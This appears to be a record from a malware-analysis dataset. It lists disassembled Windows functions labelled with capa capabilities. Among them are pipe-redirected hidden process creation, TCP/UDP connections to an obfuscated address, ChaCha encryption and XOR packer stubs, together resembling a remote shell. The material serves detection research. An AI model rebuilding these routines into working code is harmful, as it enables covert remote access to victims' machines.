joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001690
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.10001fb0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.10001fb0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x100016f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x100189a4]
test esi, esi
jle 0x10001810
mov eax, dword [0x100189a8]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x10001724
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x100017a7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x10001710
mov dword [esp], ebx
call fcn.10002470
mov edi, eax
test eax, eax
je 0x10001837
mov eax, dword [0x100189a8]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.10002580
mov edx, dword [0x100189a8]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x10001817
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x100017a0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x100017b0
add dword [0x100189a4], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x100189a8]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x100017a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.10001690
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x1000172e
mov eax, dword [0x100189a8]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.10001690
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.10001690
lea esi, [esi]
nop
Function at 0x10002090
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x100189c4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x100189bc]
sub esp, 4
test ebx, ebx
je 0x100020e5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x100020de
test esi, esi
je 0x100020de
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x100020c0
mov dword [esp], 0x100189c4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10008b3f
Capabilities:
Terminate process

Disassembly:
cmp dword [ecx + 0xc], 0
je 0x10008b57
push 0
push 0x30
push 0x100165d0
call fcn.100129b9
add esp, 0xc
ret
mov dword [ecx + 0xc], 1
mov eax, dword [ecx + 0x30]
mov ecx, dword [eax]
cmp ecx, 2
jge 0x10008b7c
cmp ecx, 1
je 0x10008b8e
test ecx, ecx
jne 0x10008ba1
mov eax, dword [eax + 4]
mov dword [eax + 8], 1
ret
je 0x10008b96
cmp ecx, 3
jne 0x10008ba1
mov eax, dword [eax + 4]
mov dword [eax + 4], 1
ret
mov ecx, dword [eax + 4]
jmp fcn.1000a78d
mov eax, dword [eax + 4]
mov dword [eax + 0x14], 1
ret
push 0
push 0x2b
push 0x10016ae0
call fcn.100129b9
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x10009161
Capabilities:
Get hostname

Disassembly:
push ebx
push edi
push esi
mov esi, ecx
push 0
push 0x15
push 0x10016430
call fcn.100129b9
add esp, 0xc
push 0x40
pop ecx
call fcn.10010d17
mov edi, eax
call sub.msvcrt.dll_rand
mov ebx, 0xffff
cdq
idiv ebx
mov word [edi], dx
call sub.msvcrt.dll_rand
cdq
xor ecx, ecx
idiv ebx
xor eax, eax
mov word [edi + 0xa], dx
cmp dword [0x100165c4], eax
sete cl
add ecx, ecx
mov dword [edi + 4], ecx
and word [edi + 8], 0
and dword [edi + 0xc], 0
and dword [edi + 0x18], 0
and dword [edi + 0x1c], 0
and dword [edi + 0x20], 0
push 3
pop ecx
call fcn.1000a7b5
mov ecx, dword [0x100193f4]
mov dword [edi + 0x34], eax
call fcn.1000cad1
test eax, eax
mov dword [edi + 0x38], eax
je 0x1000920a
and dword [edi + 0x10], 0
test esi, esi
je 0x10009204
mov ecx, esi
call fcn.10009223
mov dword [edi + 0x10], eax
push 0
push 0x1c
push 0x10016920
call fcn.100129b9
add esp, 0xc
mov eax, edi
pop esi
pop edi
pop ebx
ret
push 0
push 0x1e
push 0x10016900
call fcn.100129b9
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x10009223
Capabilities:
Get hostname

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x148
mov ebx, ecx
lea edi, [esp + 4]
push 0x40
push edi
call dword [sym.imp.WS2_32.dll_gethostname]
xor eax, eax
lea ecx, [esp + 0x44]
mov byte [edi + 0x3f], al
mov eax, esp
mov dword [eax], 0x104
push 2
pop ebp
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push 3
pop ecx
call fcn.1000a7b5
mov ecx, eax
mov edx, ebx
mov esi, eax
call fcn.1000b234
push 4
pop ebx
push 0
push ebx
push 0x1001693c
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
push 0
push ebx
push 0x10016940
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
push 0
push ebp
push 0x10016944
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
push 0
push 0xa
push 0x10016946
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
push 0
push 3
push 0x10016950
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
mov ecx, esi
mov edx, edi
call fcn.1000b234
xor eax, eax
lea ecx, [esp + 0x44]
cmp byte [ecx], al
je 0x10009326
push 0
push 2
push 0x10016953
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
lea edx, [esp + 0x44]
mov ecx, esi
call fcn.1000b234
push 0
push 2
push 0x10016955
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, eax
call fcn.1000b234
mov ecx, esi
xor edx, edx
call fcn.1000acba
mov ecx, esi
xor edx, edx
call fcn.1000adcd
add esp, 0x148
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10009ace
Capabilities:
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
cmp dword [ecx + 8], 0
je 0x10009b17
mov ebx, ecx
mov eax, esp
push eax
push dword [ecx + 0xc]
call fcn.10001af0
pop ecx
pop edx
test eax, eax
je 0x10009b1e
movzx esi, word [ebx]
push 0
push 0x1f
push 0x10016f60
call fcn.100129b9
add esp, 0xc
mov ecx, esi
mov edx, 0xffff
push eax
call fcn.1000a188
pop ecx
mov ebx, eax
jmp 0x10009bef
xor ebx, ebx
jmp 0x10009bef
mov esi, dword [ebx + 0xc]
push 0
push 3
push 0x10016f7f
call fcn.100129b9
add esp, 0xc
push eax
push esi
call sub.msvcrt.dll_fopen
pop ecx
pop edx
test eax, eax
je 0x10009aee
mov ebp, dword [esp + 0x14]
mov esi, eax
push 0
push 0x24
push 0x10016f90
call fcn.100129b9
add esp, 0xc
mov ecx, ebp
call fcn.10010d17
mov edi, eax
push esi
push ebp
push 1
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
movzx ebx, word [ebx]
cmp eax, ebp
jne 0x10009bae
movzx ecx, bx
push 3
pop edx
push 0
call fcn.1000a11b
pop ecx
mov ebx, eax
push 0
push 0x21
push 0x10017090
call fcn.100129b9
add esp, 0xc
mov ecx, ebp
call fcn.10010d17
mov dword [ebx + 0xc], eax
push ebp
push edi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [ebx + 0x10], ebp
jmp 0x10009bd0
push 0
push 0x24
push 0x10016fc0
call fcn.100129b9
add esp, 0xc
movzx ecx, bx
mov edx, 0xffff
push eax
call fcn.1000a188
pop ecx
mov ebx, eax
push esi
call sub.msvcrt.dll_fclose
pop ecx
push 0
push 0x24
push 0x10016f90
call fcn.100129b9
add esp, 0xc
push edi
call sub.msvcrt.dll_free
pop eax
mov eax, ebx
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x1000a575
Capabilities:
Write file on windows

Disassembly:
push ebx
push edi
push esi
push eax
mov ebx, dword [esp + 0x14]
mov esi, edx
mov edi, ecx
push 0
push 0x1b
push 0x10017100
call fcn.100129b9
add esp, 0xc
mov eax, esp
push 0
push eax
push ebx
push esi
push dword [edi + 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 4
pop esi
pop edi
pop ebx
ret
Function at 0x1000a5a9
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x70
mov edi, edx
mov ebx, ecx
push 0
push 0x16
push 0x10017120
call fcn.100129b9
add esp, 0xc
push 0x2c
pop ecx
call fcn.10010d17
mov esi, eax
mov dword [eax], edi
mov dword [eax + 4], ebx
push 3
pop ecx
call fcn.1000a7b5
lea edi, [esp + 0x1c]
mov dword [esi + 8], eax
lea eax, [esi + 0x10]
lea ecx, [esi + 0x14]
mov dword [edi], 0xc
and dword [edi + 4], 0
mov dword [edi + 8], 1
push 0
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000a731
lea eax, [esi + 0x18]
lea ecx, [esi + 0x1c]
push 0
push edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000a731
push 0
push 0x24
push 0x10017140
call fcn.100129b9
add esp, 0xc
lea eax, [esp + 0x28]
mov ecx, dword [esi + 0x10]
mov ebx, dword [esi + 0x1c]
xorps xmm0, xmm0
mov edx, esp
and dword [eax + 8], 0
and dword [eax + 4], 0
and dword [eax + 0x10], 0
and dword [eax + 0xc], 0
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
and dword [eax + 0x20], 0
and dword [eax + 0x1c], 0
and dword [eax + 0x28], 0
and dword [eax + 0x24], 0
and dword [eax + 0x34], 0
and dword [eax + 0x30], 0
mov dword [eax], 0x44
mov dword [eax + 0x2c], 0x100
movaps xmmword [edx], xmm0
mov dword [eax + 0x38], ecx
mov dword [eax + 0x3c], ebx
mov dword [eax + 0x40], ebx
push edx
push eax
push 0
push 0
push 0x8000000
push 1
push edi
push 0
push dword [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000a720
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x20], eax
mov eax, dword [esp]
mov dword [esi + 0x24], eax
push dword [esi + 0x10]
call edi
push dword [esi + 0x1c]
call edi
push 0
push 0x23
push 0x10017190
call fcn.100129b9
add esp, 0xc
mov edx, dword [esi + 0x20]
mov dword [esi + 0x28], edx
mov ecx, dword [esi + 4]
push esi
push dword [esi + 0x18]
call fcn.10010f1d
pop eax
pop ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0x28]
push 0x1000a739
call fcn.10011059
pop eax
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0x28]
push 0x1000a76b
call fcn.1001106a
pop eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
push 0x1e
push 0x10017170
call fcn.100129b9
add esp, 0xc
push 1
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x1000a78d
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push 0
push 0x2a
push 0x10017210
call fcn.100129b9
add esp, 0xc
push 2
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [esi + 0xc], 1
pop esi
ret
Function at 0x1000e5d7
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x70
mov edi, dword [ebp + 8]
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
test edi, edi
je 0x1000e6d2
test edx, edx
je 0x1000e6d2
mov esi, ecx
test ecx, ecx
je 0x1000e6d2
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1000e61a
mov cl, byte [edx + eax + 8]
mov byte [esp + eax + 0x18], cl
inc eax
jmp 0x1000e60b
mov ecx, dword [ebp + 0xc]
xor edx, edx
cmp edx, ecx
je 0x1000e6d2
mov eax, edx
and eax, 0x3f
jne 0x1000e6c5
mov dword [esp + 8], eax
mov eax, edx
mov dword [esp + 0xc], edx
xor edi, edi
mov ecx, str.expand_32_byte_k
shr eax, 6
mov byte [esp + 0x18], al
mov eax, edx
shr eax, 0xe
mov byte [esp + 0x19], al
mov eax, edx
shr eax, 0x16
mov byte [esp + 0x1a], al
mov eax, edx
lea edx, [esp + 0x2c]
shr eax, 0x1e
mov byte [esp + 0x1b], al
cmp edi, 0x40
jae 0x1000e68c
push 0xfffffffffffffffc
pop ebx
test ebx, ebx
je 0x1000e680
mov al, byte [ecx + ebx + 4]
mov byte [edx + ebx + 4], al
inc ebx
jmp 0x1000e671
push 0x14
pop eax
add ecx, 4
add edi, eax
add edx, eax
jmp 0x1000e669
push 0xfffffffffffffff0
pop eax
mov edi, dword [ebp + 8]
test eax, eax
je 0x1000e6b1
mov cl, byte [esi + eax + 0x10]
mov dl, byte [esp + eax + 0x20]
mov byte [esp + eax + 0x40], cl
mov cl, byte [esi + eax + 0x20]
mov byte [esp + eax + 0x68], cl
mov byte [esp + eax + 0x54], dl
inc eax
jmp 0x1000e692
lea ecx, [esp + 0x2c]
call fcn.1000e6da
mov ecx, dword [ebp + 0xc]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov al, byte [esp + eax + 0x2c]
xor byte [edi + edx], al
inc edx
jmp 0x1000e61f
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10011889
Capabilities:
Create pipe
Create thread
Read file on windows
Write file on windows
Write pipe

Disassembly:
push ebx
push edi
push esi
sub esp, 8
push 0
push 0x14
push 0x10017b30
call fcn.100129b9
add esp, 0xc
push 8
pop ecx
call fcn.10010d17
mov esi, eax
mov eax, dword [0x100193dc]
test eax, eax
jne 0x100118ee
lea edi, [esp + 4]
mov ebx, esp
push 0
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov eax, dword [ebx]
mov dword [esi], eax
mov eax, dword [edi]
mov dword [esi + 4], eax
push 0
push 0
push esi
push 0x1001190d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100118f5
mov eax, dword [esp]
mov dword [0x100193dc], eax
add esp, 8
pop esi
pop edi
pop ebx
ret
push 0
push 0x1e
push 0x10017d00
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011c96
push ebp
push ebx
push edi
push esi
sub esp, 0x408
mov esi, dword [esp + 0x41c]
mov edi, dword [esi + 4]
push 0
push 0x14
push 0x10017b30
call fcn.100129b9
add esp, 0xc
push esi
call sub.msvcrt.dll_free
pop eax
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ebp, [esp + 8]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
lea ecx, [esp + 4]
push ecx
push 0x400
push ebp
push eax
call esi
test eax, eax
je 0x10011990
push 0
lea eax, [esp + 8]
push eax
push dword [esp + 8]
push ebp
push edi
call ebx
test eax, eax
jne 0x10011949
push 0
push 0x24
push 0x10017d40
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011c96
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x19
push str.__rC_t_n
call fcn.100129b9
add esp, 0xc
push eax
push esi
call fcn.10010f00
pop eax
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add esp, 0x408
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x100119cd
Capabilities:
Initialize winsock library

Disassembly:
push esi
sub esp, 0x190
mov eax, esp
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0x2753
jge 0x10011a0f
cmp eax, 0x2734
jge 0x10011a35
cmp eax, 0x271e
jne 0x10011a58
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x31
push 0x10017ef0
jmp 0x10011a8e
cmp eax, 0x276b
jge 0x10011a4f
cmp eax, 0x2753
jne 0x10011a58
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x62
push 0x10017e80
jmp 0x10011a8e
jne 0x10011a58
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x3a
push 0x10017e40
jmp 0x10011a8e
je 0x10011a60
cmp eax, 0x276c
je 0x10011a78
add esp, 0x190
pop esi
ret
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x4a
push 0x10017d70
jmp 0x10011a8e
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x75
push 0x10017dc0
call fcn.100129b9
add esp, 0xc
push eax
push esi
call fcn.10011aa7
pop eax
pop ecx
push 1
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x10011ac4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov edi, ecx
mov dword [esp], edx
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
je 0x10011bad
lea ebx, [esp + 4]
mov esi, eax
mov dword [ebx], 1
push ebx
push 0x8004667e
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10011b77
lea edi, [esp + 8]
mov ebp, eax
movzx eax, word [esp]
and dword [edi + 4], 0
and dword [edi], 0
and dword [edi + 8], 0
mov word [edi - 4], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi - 2], ax
movsx ecx, word [ebp + 0xa]
mov eax, dword [ebp + 0xc]
push ecx
push dword [eax]
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0x10
push ebx
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x10011ba3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
je 0x10011ba3
push 0
push 0x1e
push 0x10017f70
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011bc5
jmp 0x10011ba0
push 2
call dword [0x10016020]
add esp, 4
mov esi, eax
push 0
push 0x17
push 0x10017f50
call fcn.100129b9
add esp, 0xc
push edi
push eax
push esi
call fcn.10011aa7
add esp, 0xc
xor esi, esi
dec esi
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
push 0x1c
push 0x10017f30
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011c96

Function at 0x10011c96
Capabilities:
Create udp socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
call fcn.10011bc5
push 1
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x10011ca3
Capabilities:
Create udp socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push edi
push esi
sub esp, 0x14
mov dword [esp], 1
push 2
pop eax
push 0x11
push eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
test eax, eax
js 0x10011d1d
mov esi, eax
mov eax, esp
push 4
push eax
push 0x20
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
js 0x10011d28
push str.QLSJUHQb5:7H___H__aPRMUKTQRMPePRMUKSSLUdPRMUKTYLQdPRMUKTQRMWePRMUKTULQQePRMQPHSVMRUf
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 8], eax
mov edi, eax
mov word [esp + 4], 2
push 0
call dword [sym.imp.WS2_32.dll_htons]
cmp edi, 0xffffffff
mov word [esp + 6], ax
je 0x10011d33
lea eax, [esp + 4]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
js 0x10011d3e
mov eax, esi
add esp, 0x14
pop esi
pop edi
ret
push 0
push 0x1c
push 0x10017fa0
jmp 0x10011d47
push 0
push 0x29
push 0x10017fc0
jmp 0x10011d47
push 0
push 0x22
push 0x10017ff0
jmp 0x10011d47
push 0
push 0x36
push 0x10018020
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011c96
Function at 0x10011d56
Capabilities:
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebx, edx
mov esi, ecx
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10011ddc
mov edi, eax
movzx eax, word [esp + 0x24]
lea ebx, [esp + 4]
mov ebp, dword [esp + 0x2c]
and dword [ebx + 4], 0
and dword [ebx], 0
and dword [ebx + 8], 0
movzx eax, ax
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebx - 4], 2
mov word [ebx - 2], ax
movsx ecx, word [edi + 0xa]
mov eax, dword [edi + 0xc]
push ecx
push dword [eax]
push ebx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, esp
push 0x10
push eax
push 0
push ebp
push dword [esp + 0x38]
push esi
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jns 0x10011df6
push 0
push 0x18
push 0x10018060
call fcn.100129b9
add esp, 0xc
mov ecx, eax
call fcn.10011c96
push 2
call dword [0x10016020]
sub esp, 8
mov dword [esp + 8], ebx
mov dword [esp], eax
call fcn.10011dfe
add esp, 0xc
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret

Function at 0xfe1100
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0xfe5042], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0xfe5228
push 0xfe5290
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0xfe114b
xor eax, eax
jmp 0xfe1166
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x433002
Capabilities:
Authenticate hmac
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4153e0
Capabilities:
Encode data using xor

Disassembly:
push 0xffffffffffffffb8
sar dword [esi - 0x2aa371e7], cl
invalid
dec ebp
jae 0x415398
nop
sbb eax, 0x1817311a
sti
cmp byte [esi + 0x3c50b90a], al
out dx, al
adc cl, byte [edx]
ljmp 0x479c

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219